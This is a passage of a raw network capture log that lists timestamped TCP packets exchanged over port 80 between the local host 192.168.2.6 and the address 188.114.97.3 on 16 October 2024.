                                                                                    Oct 16, 2024 10:58:12.892309904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.892311096 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.892321110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.892332077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.892343998 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.892354965 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.892360926 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.892360926 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.892360926 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.892366886 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.892375946 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.892395020 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.892404079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.892406940 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.892446041 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.892476082 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.892486095 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.892493963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.892549038 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.905555010 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905570984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905580997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905590057 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905599117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905602932 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905607939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905611038 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.905620098 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905630112 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.905632019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905642033 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905648947 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.905653954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905663967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905666113 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.905674934 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905683994 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.905683994 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905697107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905710936 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.905766964 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.905774117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905790091 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905800104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905811071 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905821085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905831099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905832052 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.905842066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905853033 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.905874968 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.905916929 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.906150103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.906166077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.906208038 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.951719999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.951736927 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.951746941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.951785088 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.951816082 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.951881886 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.951891899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.951927900 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.952025890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.952035904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.952045918 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.952070951 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.952088118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.952178001 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.952188969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.952198982 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.952208042 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.952217102 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.952223063 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.952243090 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.952253103 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.963742018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.963752985 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.963762045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.963799000 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.963807106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.963816881 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.963819027 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.963826895 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.963850021 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.963865042 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.963882923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.963895082 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.963903904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.963915110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.963933945 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.963962078 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970518112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970577955 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970628977 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970638037 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970647097 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970658064 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970673084 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970684052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970684052 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970695019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970705986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970709085 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970724106 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970752001 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970752954 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970762014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970777988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970788002 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970797062 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970802069 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970808029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970823050 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970834017 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970861912 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970892906 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970901966 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970912933 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970922947 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970932961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970936060 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970943928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970963955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970968008 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970974922 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970983028 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.970983982 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.970994949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971004963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971009970 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971015930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971026897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971036911 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971056938 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971065998 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971066952 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971075058 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971084118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971092939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971101046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971107006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971113920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971133947 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971136093 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971146107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971151114 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971157074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971174955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971175909 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971191883 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971200943 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971208096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971218109 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971220016 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971230030 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971240044 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971246004 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971251965 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971277952 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971278906 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971281052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971290112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971309900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971316099 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971319914 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971340895 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971352100 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971389055 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971399069 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971410036 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971419096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971436024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971436977 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971482992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971493006 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971506119 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971506119 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971506119 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971518040 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971554041 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971554041 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971554041 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971577883 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971586943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971596956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971623898 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971626997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971637011 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971640110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971651077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971662045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971672058 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971673012 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971685886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971709013 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.971728086 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971739054 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.971775055 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.972316027 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972326040 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972335100 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972378969 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.972507954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972517967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972527981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972537041 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972553015 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972563028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972564936 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.972575903 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972583055 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.972589016 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972599983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972600937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.972610950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972614050 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.972629070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972640038 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972650051 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972661018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972671032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972681046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972681999 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.972681999 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.972687006 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972695112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972697020 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.972697020 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.972707033 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972718000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.972729921 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.972765923 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.008945942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.008960009 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.008970022 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.008995056 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009005070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009006023 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009016991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009027958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009057045 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009088039 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009102106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009111881 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009139061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009150982 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009155035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009166002 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009181976 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009207964 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009426117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009466887 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009478092 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009510994 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009541988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009552956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009562969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009572983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009581089 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009608030 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009618998 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009629965 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009639978 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009665012 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009681940 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009706974 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009717941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009727955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009737968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009748936 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009754896 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009780884 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009908915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009918928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009928942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009938955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009948969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009955883 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009957075 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009972095 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009974957 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009984016 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.009989977 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.009994984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010006905 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010015965 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010019064 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.010027885 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010037899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010047913 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.010049105 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010059118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010071039 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.010085106 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.010092020 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010102034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010108948 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.010113001 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010123968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010123968 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.010134935 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010144949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010144949 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.010165930 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.010179996 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.010258913 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010283947 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010293961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010333061 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.010432005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010442972 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010453939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.010473967 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.010489941 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.022757053 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.022767067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.022777081 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.022794008 CEST8049735188.114.97.3192.168.2.6
